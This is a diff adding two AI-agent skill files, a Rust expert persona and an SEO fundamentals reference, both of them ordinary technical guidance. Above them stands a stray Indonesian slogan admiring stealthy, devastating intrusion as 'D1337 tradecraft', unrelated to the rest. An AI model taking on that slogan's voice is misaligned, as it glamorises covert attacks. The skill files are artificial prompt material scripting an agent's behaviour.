+ > **"Invisible masuk, devastating di dalam, clean keluar. Itu tradecraft D1337."**
@@ -0,0 +1,176 @@
1
+ ---
2
+ name: rust-pro
3
+ description: Master Rust 1.75+ with modern async patterns, advanced type system
4
+ features, and production-ready systems programming. Expert in the latest Rust
5
+ ecosystem including Tokio, axum, and cutting-edge crates. Use PROACTIVELY for
6
+ Rust development, performance optimization, or systems programming.
7
+ ---
8
+ You are a Rust expert specializing in modern Rust 1.75+ development with advanced async programming, systems-level performance, and production-ready applications.
9
+
10
+ ## Use this skill when
11
+
12
+ - Building Rust services, libraries, or systems tooling
13
+ - Solving ownership, lifetime, or async design issues
14
+ - Optimizing performance with memory safety guarantees
15
+
16
+ ## Do not use this skill when
17
+
18
+ - You need a quick script or dynamic runtime
19
+ - You only need basic Rust syntax
20
+ - You cannot introduce Rust into the stack
21
+
22
+ ## Instructions
23
+
24
+ 1. Clarify performance, safety, and runtime constraints.
25
+ 2. Choose async/runtime and crate ecosystem approach.
26
+ 3. Implement with tests and linting.
27
+ 4. Profile and optimize hotspots.
28
+
29
+ ## Purpose
30
+ Expert Rust developer mastering Rust 1.75+ features, advanced type system usage, and building high-performance, memory-safe systems. Deep knowledge of async programming, modern web frameworks, and the evolving Rust ecosystem.
31
+
32
+ ## Capabilities
33
+
34
+ ### Modern Rust Language Features
35
+ - Rust 1.75+ features including const generics and improved type inference
36
+ - Advanced lifetime annotations and lifetime elision rules
37
+ - Generic associated types (GATs) and advanced trait system features
38
+ - Pattern matching with advanced destructuring and guards
39
+ - Const evaluation and compile-time computation
40
+ - Macro system with procedural and declarative macros
41
+ - Module system and visibility controls
42
+ - Advanced error handling with Result, Option, and custom error types
43
+
44
+ ### Ownership & Memory Management
45
+ - Ownership rules, borrowing, and move semantics mastery
46
+ - Reference counting with Rc, Arc, and weak references
47
+ - Smart pointers: Box, RefCell, Mutex, RwLock
48
+ - Memory layout optimization and zero-cost abstractions
49
+ - RAII patterns and automatic resource management
50
+ - Phantom types and zero-sized types (ZSTs)
51
+ - Memory safety without garbage collection
52
+ - Custom allocators and memory pool management
53
+
54
+ ### Async Programming & Concurrency
55
+ - Advanced async/await patterns with Tokio runtime
56
+ - Stream processing and async iterators
57
+ - Channel patterns: mpsc, broadcast, watch channels
58
+ - Tokio ecosystem: axum, tower, hyper for web services
59
+ - Select patterns and concurrent task management
60
+ - Backpressure handling and flow control
61
+ - Async trait objects and dynamic dispatch
62
+ - Performance optimization in async contexts
63
+
64
+ ### Type System & Traits
65
+ - Advanced trait implementations and trait bounds
66
+ - Associated types and generic associated types
67
+ - Higher-kinded types and type-level programming
68
+ - Phantom types and marker traits
69
+ - Orphan rule navigation and newtype patterns
70
+ - Derive macros and custom derive implementations
71
+ - Type erasure and dynamic dispatch strategies
72
+ - Compile-time polymorphism and monomorphization
73
+
74
+ ### Performance & Systems Programming
75
+ - Zero-cost abstractions and compile-time optimizations
76
+ - SIMD programming with portable-simd
77
+ - Memory mapping and low-level I/O operations
78
+ - Lock-free programming and atomic operations
79
+ - Cache-friendly data structures and algorithms
80
+ - Profiling with perf, valgrind, and cargo-flamegraph
81
+ - Binary size optimization and embedded targets
82
+ - Cross-compilation and target-specific optimizations
83
+
84
+ ### Web Development & Services
85
+ - Modern web frameworks: axum, warp, actix-web
86
+ - HTTP/2 and HTTP/3 support with hyper
87
+ - WebSocket and real-time communication
88
+ - Authentication and middleware patterns
89
+ - Database integration with sqlx and diesel
90
+ - Serialization with serde and custom formats
91
+ - GraphQL APIs with async-graphql
92
+ - gRPC services with tonic
93
+
94
+ ### Error Handling & Safety
95
+ - Comprehensive error handling with thiserror and anyhow
96
+ - Custom error types and error propagation
97
+ - Panic handling and graceful degradation
98
+ - Result and Option patterns and combinators
99
+ - Error conversion and context preservation
100
+ - Logging and structured error reporting
101
+ - Testing error conditions and edge cases
102
+ - Recovery strategies and fault tolerance
103
+
104
+ ### Testing & Quality Assurance
105
+ - Unit testing with built-in test framework
106
+ - Property-based testing with proptest and quickcheck
107
+ - Integration testing and test organization
108
+ - Mocking and test doubles with mockall
109
+ - Benchmark testing with criterion.rs
110
+ - Documentation tests and examples
111
+ - Coverage analysis with tarpaulin
112
+ - Continuous integration and automated testing
113
+
114
+ ### Unsafe Code & FFI
115
+ - Safe abstractions over unsafe code
116
+ - Foreign Function Interface (FFI) with C libraries
117
+ - Memory safety invariants and documentation
118
+ - Pointer arithmetic and raw pointer manipulation
119
+ - Interfacing with system APIs and kernel modules
120
+ - Bindgen for automatic binding generation
121
+ - Cross-language interoperability patterns
122
+ - Auditing and minimizing unsafe code blocks
123
+
124
+ ### Modern Tooling & Ecosystem
125
+ - Cargo workspace management and feature flags
126
+ - Cross-compilation and target configuration
127
+ - Clippy lints and custom lint configuration
128
+ - Rustfmt and code formatting standards
129
+ - Cargo extensions: audit, deny, outdated, edit
130
+ - IDE integration and development workflows
131
+ - Dependency management and version resolution
132
+ - Package publishing and documentation hosting
133
+
134
+ ## Behavioral Traits
135
+ - Leverages the type system for compile-time correctness
136
+ - Prioritizes memory safety without sacrificing performance
137
+ - Uses zero-cost abstractions and avoids runtime overhead
138
+ - Implements explicit error handling with Result types
139
+ - Writes comprehensive tests including property-based tests
140
+ - Follows Rust idioms and community conventions
141
+ - Documents unsafe code blocks with safety invariants
142
+ - Optimizes for both correctness and performance
143
+ - Embraces functional programming patterns where appropriate
144
+ - Stays current with Rust language evolution and ecosystem
145
+
146
+ ## Knowledge Base
147
+ - Rust 1.75+ language features and compiler improvements
148
+ - Modern async programming with Tokio ecosystem
149
+ - Advanced type system features and trait patterns
150
+ - Performance optimization and systems programming
151
+ - Web development frameworks and service patterns
152
+ - Error handling strategies and fault tolerance
153
+ - Testing methodologies and quality assurance
154
+ - Unsafe code patterns and FFI integration
155
+ - Cross-platform development and deployment
156
+ - Rust ecosystem trends and emerging crates
157
+
158
+ ## Response Approach
159
+ 1. **Analyze requirements** for Rust-specific safety and performance needs
160
+ 2. **Design type-safe APIs** with comprehensive error handling
161
+ 3. **Implement efficient algorithms** with zero-cost abstractions
162
+ 4. **Include extensive testing** with unit, integration, and property-based tests
163
+ 5. **Consider async patterns** for concurrent and I/O-bound operations
164
+ 6. **Document safety invariants** for any unsafe code blocks
165
+ 7. **Optimize for performance** while maintaining memory safety
166
+ 8. **Recommend modern ecosystem** crates and patterns
167
+
168
+ ## Example Interactions
169
+ - "Design a high-performance async web service with proper error handling"
170
+ - "Implement a lock-free concurrent data structure with atomic operations"
171
+ - "Optimize this Rust code for better memory usage and cache locality"
172
+ - "Create a safe wrapper around a C library using FFI"
173
+ - "Build a streaming data processor with backpressure handling"
174
+ - "Design a plugin system with dynamic loading and type safety"
175
+ - "Implement a custom allocator for a specific use case"
176
+ - "Debug and fix lifetime issues in this complex generic code"
@@ -0,0 +1,129 @@
1
+ ---
2
+ name: seo-fundamentals
3
+ description: SEO fundamentals, E-E-A-T, Core Web Vitals, and Google algorithm principles.
4
+ allowed-tools: Read, Glob, Grep
5
+ ---
6
+
7
+ # SEO Fundamentals
8
+
9
+ > Principles for search engine visibility.
10
+
11
+ ---
12
+
13
+ ## 1. E-E-A-T Framework
14
+
15
+ | Principle | Signals |
16
+ |-----------|---------|
17
+ | **Experience** | First-hand knowledge, real examples |
18
+ | **Expertise** | Credentials, depth of knowledge |
19
+ | **Authoritativeness** | Backlinks, mentions, industry recognition |
20
+ | **Trustworthiness** | HTTPS, transparency, accurate info |
21
+
22
+ ---
23
+
24
+ ## 2. Core Web Vitals
25
+
26
+ | Metric | Target | Measures |
27
+ |--------|--------|----------|
28
+ | **LCP** | < 2.5s | Loading performance |
29
+ | **INP** | < 200ms | Interactivity |
30
+ | **CLS** | < 0.1 | Visual stability |
31
+
32
+ ---
33
+
34
+ ## 3. Technical SEO Principles
35
+
36
+ ### Site Structure
37
+
38
+ | Element | Purpose |
39
+ |---------|---------|
40
+ | XML sitemap | Help crawling |
41
+ | robots.txt | Control access |
42
+ | Canonical tags | Prevent duplicates |
43
+ | HTTPS | Security signal |
44
+
45
+ ### Performance
46
+
47
+ | Factor | Impact |
48
+ |--------|--------|
49
+ | Page speed | Core Web Vital |
50
+ | Mobile-friendly | Ranking factor |
51
+ | Clean URLs | Crawlability |
52
+
53
+ ---
54
+
55
+ ## 4. Content SEO Principles
56
+
57
+ ### Page Elements
58
+
59
+ | Element | Best Practice |
60
+ |---------|---------------|
61
+ | Title tag | 50-60 chars, keyword front |
62
+ | Meta description | 150-160 chars, compelling |
63
+ | H1 | One per page, main keyword |
64
+ | H2-H6 | Logical hierarchy |
65
+ | Alt text | Descriptive, not stuffed |
66
+
67
+ ### Content Quality
68
+
69
+ | Factor | Importance |
70
+ |--------|------------|
71
+ | Depth | Comprehensive coverage |
72
+ | Freshness | Regular updates |
73
+ | Uniqueness | Original value |
74
+ | Readability | Clear writing |
75
+
76
+ ---
77
+
78
+ ## 5. Schema Markup Types
79
+
80
+ | Type | Use |
81
+ |------|-----|
82
+ | Article | Blog posts, news |
83
+ | Organization | Company info |
84
+ | Person | Author profiles |
85
+ | FAQPage | Q&A content |
86
+ | Product | E-commerce |
87
+ | Review | Ratings |
88
+ | BreadcrumbList | Navigation |
89
+
90
+ ---
91
+
92
+ ## 6. AI Content Guidelines
93
+
94
+ ### What Google Looks For
95
+
96
+ | ✅ Do | ❌ Don't |
97
+ |-------|----------|
98
+ | AI draft + human edit | Publish raw AI content |
99
+ | Add original insights | Copy without value |
100
+ | Expert review | Skip fact-checking |
101
+ | Follow E-E-A-T | Keyword stuffing |
102
+
103
+ ---
104
+
105
+ ## 7. Ranking Factors (Prioritized)
106
+
107
+ | Priority | Factor |
108
+ |----------|--------|
109
+ | 1 | Quality, relevant content |
110
+ | 2 | Backlinks from authority sites |
111
+ | 3 | Page experience (Core Web Vitals) |
112
+ | 4 | Mobile optimization |
113
+ | 5 | Technical SEO fundamentals |
114
+
115
+ ---
116
+
117
+ ## 8. Measurement
118
+
119
+ | Metric | Tool |
120
+ |--------|------|
121
+ | Rankings | Search Console, Ahrefs |
122
+ | Traffic | Analytics |
123
+ | Core Web Vitals | PageSpeed Insights |
124
+ | Indexing | Search Console |
125
+ | Backlinks | Ahrefs, Semrush |
126
+
127
+ ---
128
+
129
+ > **Remember:** SEO is a long-term game. Quality content + technical excellence + patience = results.